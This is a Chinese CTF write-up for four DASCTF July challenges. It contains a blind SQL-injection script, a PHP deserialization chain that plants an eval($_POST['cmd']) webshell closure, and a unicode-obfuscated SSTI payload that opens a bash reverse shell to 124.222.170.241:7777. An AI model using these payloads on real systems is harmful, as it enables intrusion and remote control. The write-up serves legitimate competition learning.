• # Dasctf 7月赋能赛 WP


    写在前面:每次通过比赛都能学到很多东西,对于之前的知识点有一知半解的地方重新认识了,比如ssti的盲注,以前只知道{{}}、{%%}能执行语句,但是没有想过他们的区别,通过一道ssti的题目就能更加深入地区分这两者的区别

    1、ez_getflag

    任意文件读取直接读/flag

    2、绝对防御

    2.1 网站js源码找到提示

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ooP56TN4-1658910684245)(./images/Dasctf%207%E6%9C%88%E8%B5%9B%20WP/1.jpg)]

    2.2 sql注入

    根据js源代码里面的描述,可以传一个id的参数,试着传一下,发现id=1是admin,id=2是flag,猜想可能跟有sql注入,简单测试一些确实存在sql注入

    2.2.1 前端过滤

    var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
    
    • 1

    这个过滤其实很严格,不过是前端可以用burp或者写脚本就可以绕过

    2.2.2 后端过滤

    
    if
    union 
    sleep
    ...
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    因为过滤了union,就不能用联合注入,试一下盲注,用这个payload

    id=1 and ascii(substr((select database()),1,1))>127
    
    • 1

    改变大于号后面的长度发现回显不一样,写个盲注脚本跑出flag

    import re
    import requests as req
    import time
    
    url = "http://78dbbf39-0d45-4ce7-9a8e-7073b048367b.node4.buuoj.cn:81/SUPPERAPI.php?"
    
    payload = f"id=1 and ascii(substr((select database()),1,1))>127"
    res = ''
    for i in range(50):
        low = 0x20
        high = 0x7f
        while(low <= high):
            
            mid = (high + low) // 2
            print(low, mid, high)
            #payload = f"id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid}"
            #payload = f"id=1 and ascii(substr(reverse((select password from users where id=2)),{i},1))>{mid}"
            payload = f"id=1 and ascii(substr((select password from users where id=2),{i},1))>{mid}"
    
            # 数据库 database()
            # 表名 users
            # 字段 id,username,password
            #flag在id为2的password中
            print(payload)
            response = req.get(url + payload)
            #print(response.text)
            if(len(response.text) > 587):
                low = mid + 1
            else:
                high = mid - 1
            print("[+]:",low, res)
            time.sleep(1)
                
        res += chr(low)
        print("[+]:",low, res)
        
    
    print(res)
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    3、Newser(复现)

    3.1 composer.json泄漏

    
    {
      
        "require": {
            "fakerphp/faker": "^1.19",
            "opis/closure": "^3.6"
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    备注一个:compser换源、开启tls

    
    composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
    
    composer config -g -- disable-tls false
    
    • 1
    • 2
    • 3
    • 4

    3.2 分析过程

    3.2.1 分析入口点

    文件高亮部分有__wakeup() 函数和\ __destruct()函数,然后__destruc()输出了反序列化的内容,从这个__destruct开始分析pop链

    1. 反序列化的常见起点
    __destruct()  一定会调用  
    __wakeup()  一定会调用
    __toString() 当一个对象被当做字符串使用的时候被调用
    
    
    • 1
    • 2
    • 3
    • 4
    1. 中间跳板
    __toString() 当一个对象被当做字符串使用
    
    __get() 读取不可访问或不存在属性时被调用
    
    __set() 当给不可访问或不存在属性赋值时被调用
    
    __isset() 对不可访问或不存在的属性调用isset()empty()时被调用
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1. 反序列化常见终点
    __call 调用不可访问或不存在的方法时被调用
    
    call_user_func 一般php代码执行都会选择这里
    
    call_user_func_array 一般php代码执行都会选择这里
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    3.2.2 绕过_wakeup

    通过文件泄漏,可以知道当前的环境中引入了faker和closure这两个库,通过faker库可以完成rce的功能,但是由于faker库中有一个__wakeup()方法对于输入的内容进行清空,因此需要绕过
    绕过参考文章
    利用文章提到的引用,可以将参数在__wakeup()执行后与另外一个参数绑定,通过设置另外一个参数从而实现改变当前参数的效果,关键点在于找到一段类似格式的代码,在User类中的__wakeup()函数中刚好存在一段类似的代码

    $this->a = $this->b;
    
    $this->a[$this->b] = $this->c
    
    
    • 1
    • 2
    • 3
    • 4

    参数绑定的一个Demo

    
    
    class Foo{
        public $bitch;
        public $fuck;
    
        public function __destruct()
        {
            $this->bitch = "bitch";
            
            var_dump($this);
            echo "Here!\n";
        }
    
        public function __wakeup()
        {
            $this->fuck = "fuck";
            echo "There!\n";
        }
    
    
            
    }
    $s = 'O:3:"Foo":2:{s:5:"bitch";N;s:4:"fuck";R:2;}';
    
    $o = unserialize($s);
    
    var_dump($o);
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    3.2.3 命令执行与RCE分析

    反序列化的终点在 call_user_func_array(),只有第一个参数可控,通过闭包函数反序列化来rce

    call_user_func_array($this->getFormatter($format), $arguments);
    
    • 1

    代码框架如下

    include("closure/autoload.php");  // 引入closure库
    $func = function(){
        $cmd = 'id';
        system($cmd);
    };  //构造匿名函数
    $raw = \Opis\Closure\serialize($func); // 序列化
    $c = unserialize($raw); //反序列化之后的数据拿去做 call_user_func_array()的参数
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    3.3 命令执行poc

    
    namespace{
        class User
        {
            private $_password;
            public $password;
            private $instance;
    
            public function __construct()
            {
                $this->instance = new Faker\Generator($this);
                $this->_password = ["_username"=>"phpinfo"];
            }
        }
        echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
    }
    
    namespace Faker{
        class Generator{
            private $formatters;
    
            public function __construct($obj)
            {
                $this->formatters = &$obj->password;
            }
    
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    3.4 RCE(匿名函数与反序列化闭包)

    
    <?php
    namespace{
    
        use User as GlobalUser;
    
        class User{
            public $password;
            private $_password;
            private $instance;
            
            public function __construct()
            {
                $this->instance = new Faker\Generator($this);
                $func = function(){
                    eval($_POST['cmd']);
                };
    
                include("./vendor/opis/closure/autoload.php");
    
                $raw = \Opis\Closure\serialize($func);
                $c = unserialize($raw);
                $this->_password = ["_username"=>$c];
    
            }
        }
        echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
    
    }
    namespace Faker{
        class Generator{
            private $formatters;
            public function __construct($obj)
            {
                $this->formatters = &$obj->password;
            }
        }
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    4 Harddisk(复现)

    SSTI方面的题目

    过滤了很多内容,主要的几个

    .
    space
    {{}}
    __
    []
    x
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    不过可以用|attr 和 unicode绕(不能用十六进制是因为x被过滤)
    payload

    
    {%if(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0032\u0034\u002e\u0032\u0032\u0032\u002e\u0031\u0037\u0030\u002e\u0032\u0034\u0031\u002f\u0037\u0037\u0037\u0037\u0020\u0030\u003e\u0026\u0031\u0022"))%}test{%endif%}
    
    
    • 1
    • 2
    • 3
  • 相关阅读:
    比 O(nlog(n)) 做得更好——2.改变问题以及排序和填充数组
    Android Camera性能分析 第24讲 录像Buffer Path帧率统计
    Golang 并发编程指南
    nn.Sequential()实例化模型的三种方法
    【Android】开发 ConnectivityManager
    【机器学习范式】监督学习,无监督学习,强化学习, 半监督学习,自监督学习,迁移学习,对比分析+详解与示例代码
    财务领域的数字助手,银企对账与到账通知软件机器人
    电力系统IEEE14节点系统同步模型(Simulink)
    python二次开发Solidworks:齿轮生成器
    CSDN TOP1“一个处女座的程序猿“如何通过写作成为百万粉丝博主
  • 原文地址:https://blog.csdn.net/Little_jcak/article/details/126017789